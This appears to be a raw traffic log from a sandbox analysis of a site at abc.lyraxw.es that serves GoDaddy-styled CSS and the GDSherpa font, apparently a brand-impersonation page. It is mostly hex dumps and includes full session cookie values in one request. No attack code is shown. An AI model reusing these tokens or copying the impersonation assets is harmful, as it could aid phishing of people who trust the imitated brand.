921fd41369d3efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1984&rtt_var=750&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1917&delivery_rate=1453459&cwnd=153&unsent_bytes=0&cid=f37f4be771ade78a&ts=428&x=0"
2025-03-17 22:11:51 UTC	289	IN	Data Raw: 33 37 62 62 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37bb#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 Data Ascii: { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; v
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a Data Ascii: rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-siz
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 Data Ascii: pv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText--f
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 Data Ascii: --ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-te
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6c 65 Data Ascii: argin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .fle
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 Data Ascii: sform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}#se
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 Data Ascii: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-card
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c 76 61 72 Data Ascii: ns_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,var
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c 34 30 30 Data Ascii: xt-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,400

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:50 UTC	1361	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Origin: https://abc.lyraxw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilh5WGhjM25QN1o3aEpwaDZVV25lZkE9PSIsInZhbHVlIjoiT0Fmd1NqYThnTVdzKzZlczd1aWNMdCtFU2JxeUhoTTFKSXBMYmpYZ1hEd1Z3am9kaEpKU25qZVIwRm9sZVpWMGxEKzNDQ0huUWl5Ui9nNjBIWlVNQWNaNmdpUWZla1V2T29YN2puczNYSEFPRFZrcDZ4TnF1TXpDTTlYWWlMcWwiLCJtYWMiOiIzODBlNzIxOGQxZGZhNjllMWI1Y2I5OGY3OWQxNDFmMWYyM2JkN2Y4MWI0YzQwM2U0NTczY2Y4M2VjYzI5OGI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg2TU5Keko1QVJUS3pIWVVvMll0MlE9PSIsInZhbHVlIjoidmxndnBOMlNiVTIxaGVtWTVyTXFYVWhWTGxyYTdsbWJwY1pVbnlPazgySnNacEZuNkdSSHp5UGJLalNiSW9aV1hwZ3hiKzIwaC94QnJOeVFIekxYZlM1UC8rYTROTzJKM0FqYjlJYmg3K2tuaVVuMlkrUmVqYWtDUGluV3k1T3oiLCJtYWMiOiJhMzMzMjBhMDdmYzgzMTM0YTBmMGI1NzRlMTc3NDkzMzAzZmNhNDk4ZTU1OWRmZGY5OTE1MTdiYzY5NWUwYjYzIiwidGFnIjoiIn0%3D
2025-03-17 22:11:51 UTC	1169	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:50 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: HIT Age: 4554 Last-Modified: Mon, 17 Mar 2025 20:03:27 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L78tOud4e1y%2FPxKexCMjMg5jHDFyLQpgEOqNjSWZjnpx296mBPv469Yfj9859aZVASb1hwSiO3vASMeT1ZW681Q1jCZBd6hPIHDGYAPUzsX8eoPfni%2FGW3bxOTnwjVAZ8af%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1244&min_rtt=1208&rtt_var=403&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2353&delivery_rate=2115412&cwnd=251&unsent_bytes=0&cid=de414d944c5fda86&ts=18&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 921fd4138a4541d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1583&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1933&delivery_rate=1844598&cwnd=251&unsent_bytes=0&cid=a1713a9a43b8a191&ts=157&x=0"
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 03 75 f4 b1 1c 11 80 ff ca f3 72 0d 00 49 18 00 8e 3f 2f 8d 31 03 75 c2 71 34 2f 90 38 8d ce f6 02 f1 2e 99 22 cb 68 8c 5f 71 51 76 58 9a 29 0a 40 2d b9 27 a4 bc 5a aa f4 c7 04 4f ec 85 48 0f 5d 5c 2e a2 b2 58 05 6b 6c fd a5 09 9a bc ad b4 07 ed 59 fb 47 29 c9 8d 4d ea 8e b9 57 56 f5 4d c2 3d 8a 84 a9 60 2a 9b ae ce 18 b0 25 26 d8 83 3a fc 48 b0 78 c9 ce b4 7c 6e cb e9 82 ae eb 96 be de 7f ea 6f fa bf 99 97 a0 34 c3 67 ea cc 9c 53 66 dd dc 38 37 cd ed 33 6b 5e 99 7f 99 ff 5a 08 2e 3c 16 f8 c5 f0 a2 6d d1 bd 60 2e e6 16 df 2e 7e 83 78 01 5a 28 cd 21 12 47 42 46 a1 6e 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c Data Ascii: urI?/1uq4/8."h_qQvX)@-'ZOH]\.XklYG)MWVM=`*%&:Hx\|no4gSf873k^Z.<m`..~xZ(!GBFnTKa&LYl\w`1]JY-s-XdUkmwaG
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 99 36 84 b0 f4 46 7e 5a 7b 61 cb ce 38 7e 18 10 15 5a 16 2a dd 9d 07 cd 21 1f 79 7a 00 95 f6 00 6a a7 b6 7b 71 25 61 96 bf 64 1c 1e 9e 9b c6 7a 4b 2d 5e ca d6 b0 97 ff 3f 8d 57 52 7d 30 28 fc 2e bc 7e fd 90 34 de 54 c9 b1 e6 c0 08 ee e4 96 9a 1e 6b 45 c5 4e d6 97 57 40 eb 12 8f 15 b0 35 9f 31 43 a2 f8 ff b9 61 4a 0a 90 ae 5e 88 f3 1f 3c 2d 4f 42 88 ef c2 28 16 d2 73 11 28 3a ce c4 59 ff 45 25 b4 9c 70 77 4b 58 aa 75 59 34 d1 89 ae d4 8c 41 03 4d 4a 28 ac 59 68 f9 97 0b 97 a7 c8 5c 7a a8 29 fc 5a 13 ff 12 4a 26 6c 0f 5c 61 fe a4 3c dd 0c 29 39 23 3d 43 0c b0 ae 0b d9 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 Data Ascii: 6F~Z{a8~Z*!yzj{q%adzK-^?WR}0(.~4TkENW@51CaJ^<-OB(s(:YE%pwKXuY4AMJ(Yh\z)ZJ&l\a<)9#=Cix]ulFaRGuYyV</m8b3g'?!#Lf$'
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: d5 60 26 6a 11 ad 15 dc e3 a8 26 8d 6b ec 3a 27 ef 4b 33 f0 4f 93 a9 e1 9e d1 f6 63 da ec d3 0e 34 e2 39 79 e1 96 a4 86 1f af ef 8c b4 a5 3c 0c 57 1a 78 27 6e 5b a1 19 51 5a 6f 9e 8b 14 d6 2d 13 b2 16 b5 3d 49 d5 e2 af d4 85 12 c4 12 ee 91 e0 52 14 13 df e1 2e 1e ee 9d 82 e2 44 81 31 46 c5 1e 9c 78 1a ff ad f7 ef bf 8f d6 ff b5 fd 1b 5d cb c9 d3 4b 33 cc 70 ea 36 ee f9 8f 5f a5 dc 84 9a 44 e9 60 b5 ec 08 71 ee 84 82 67 2e 3d 1a 27 7c 6b 5a 43 e7 17 68 d8 46 8a 12 a1 97 f0 38 b3 f5 e6 70 1a ef e8 dd 71 eb 47 29 98 b8 19 2d eb bf 92 6b e8 78 37 79 35 9b 74 56 5d 8c 52 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 Data Ascii: `&j&k:'K3Oc49y<Wx'n[QZo-=IR.D1Fx]K3p6_D`qg.='\|kZChF8pqG)-kx7y5tV]RhW}YtLC=yoPT_{9pX`c0wRB6
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 61 24 8e 27 57 80 da f3 5e 35 af bb e3 03 40 0f e0 81 d6 e4 72 a2 3b 3a ff 9a 7c e9 55 1d a5 cf 00 47 63 61 4d b9 95 2b 87 8c 8c 79 16 a5 3b b7 d7 2f 1b d8 87 8b 7a ed 18 95 8d cb 26 c5 5c 4a b2 02 cc 7d 8b bd 75 07 76 e6 ed 02 7b c5 ef cb e9 93 d3 b3 75 e5 bc 7a 71 39 ef 52 f7 a5 f9 7a 5f 53 b7 6f e1 dd 08 70 20 07 11 87 5c 0a 45 98 0a 20 6a 4f a4 91 c3 ab 40 91 22 2d 8e 05 ca d6 bb 41 86 25 66 cf 4b e5 bd 45 d9 9f 7b 70 52 76 6a 3f 5b d4 b5 e3 bc ec a2 ec f2 a8 78 68 9f c2 ef a2 46 98 0f 5f 4d ec 44 75 e6 82 ca e3 d4 75 5b 8b 57 b8 01 40 ea 79 35 09 51 44 1f 46 9c 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 Data Ascii: a$'W^5@r;:\|UGcaM+y;/z&\J}uv{uzq9Rz_Sop \E jO@"-A%fKE{pRvj?[xhF_MDuu[W@y5QDFe*\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 3e 93 cf 06 3e 1b 6b 49 a1 3d dd c9 ed 93 0b 55 5c ed a1 7e 5d fe f5 bd df c1 ef c6 e1 00 5b b4 99 b2 b1 d3 7e 51 a2 9d 51 af 1b d3 98 e9 a0 46 47 b0 e2 79 bc 8d 5f 45 02 d2 dc cb e5 fb d9 db 53 e3 90 87 26 b4 a3 1b 4c 4c 80 a5 2e ab 9b ea 2b f5 87 8c 08 0b ac 90 dd 17 8f 39 5d f8 40 e5 8d 40 08 0b 4f 5a 89 bf 09 1f 01 c7 17 00 74 33 49 cd 2b e0 e8 fe f2 a6 77 74 6a 15 b5 ca 05 3c 90 f8 47 86 10 78 e3 96 eb c1 bd e2 c9 50 99 fe a4 89 7c ea c1 e3 ff 76 bf 77 bf 75 3b 48 25 39 ab 66 55 b4 d4 83 a5 1b 8f 6e 3e 5a 03 f8 f5 33 d8 95 10 a9 c7 aa f0 00 b0 7c e9 77 7e 33 44 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d Data Ascii: >>kI=U\~][~QQFGy_ES&LL.+9]@@OZt3I+wtj<GxP\|vwu;H%9fUn>Z3\|w~3D>E=Zrn~~{7*/&6X=JO7?Y
2025-03-17 22:11:51 UTC	1369	IN	Data Raw: 09 f7 26 6d 00 d0 e6 10 c1 78 a2 92 9e 7e 1d 38 ac 35 b1 d9 5e c6 22 49 0b 0c 92 d0 0b e4 49 15 4a bf ad 67 1d 98 a1 a4 f1 fe 67 df 53 5e 2c 5c 2a 8e 53 83 e3 96 e3 d2 28 64 dc 36 c6 78 6c 1c e3 b5 f1 8c cf 26 30 7e 9b c8 04 6c 1a 26 68 d3 32 21 9b ae 21 c7 58 1e 44 74 e6 26 98 3a e8 ae 1d fd 9d 7c 4e 99 bb e4 53 b9 50 96 2e f9 de ae c3 d6 68 d8 d0 40 04 84 41 14 85 24 06 10 20 71 80 00 49 00 04 48 12 20 40 52 00 01 92 06 08 90 0c 40 80 64 01 02 d1 22 f5 32 ca 94 12 2a d6 a7 59 f7 74 c6 c7 08 39 45 35 7d 97 29 a3 d4 94 ca a9 90 56 12 60 c4 86 fb e6 0c 33 2f 84 32 b8 d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 Data Ascii: &mx~85^"IIJggS^,\S(d6xl&0~l&h2!!XDt&:\|NSP.h@A$ qIH @R@d"2Yt9E5})V`3/2:*VK)iuC-hXC1uhO~4w'
